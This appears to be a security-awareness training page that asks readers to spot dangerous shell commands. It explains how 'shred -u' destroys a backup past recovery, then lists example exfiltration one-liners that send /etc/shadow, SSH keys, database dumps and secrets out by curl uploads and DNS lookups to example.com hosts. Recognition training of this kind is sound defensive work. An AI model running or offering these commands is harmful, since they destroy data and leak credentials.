Dangerous
shred -u /backups/nightly.sql.gzlinux · bash · Beginner
Overwrites a backup file and then unlinks it. shred is designed to defeat recovery, so unlike a normal delete there is no forensic path back to the contents once it finishes.
Signals to notice
- shred overwrites the data before removing the entry
- -u unlinks the file afterwards, leaving nothing to recover
Think you can spot these under time pressure?
Start TrainingMore Data Exfiltration
curl -X POST --data-binary @/etc/shadow https://example.com/collectAdvancedtar -czf - /home/deploy/.ssh | openssl enc -aes-256-cbc -pbkdf2 -out /tmp/.kAdvancedmysqldump -u root -p"$DBPASS" --all-databases | curl -T - https://example.com/uploadExpertaws s3 cp s3://example-backups/db.sql - | gzip | curl -T - https://example.com/dropNightmarefind /var/www -name '*.php' -newermt '-2 days' -exec sh -c 'mkdir -p /tmp/.s && cp "$1" /tmp/.s/' _ {} \;Nightmarefor f in ./secrets/*; do host "$(base64 -w0 "$f" | head -c 60).lookup.example.com"; doneNightmare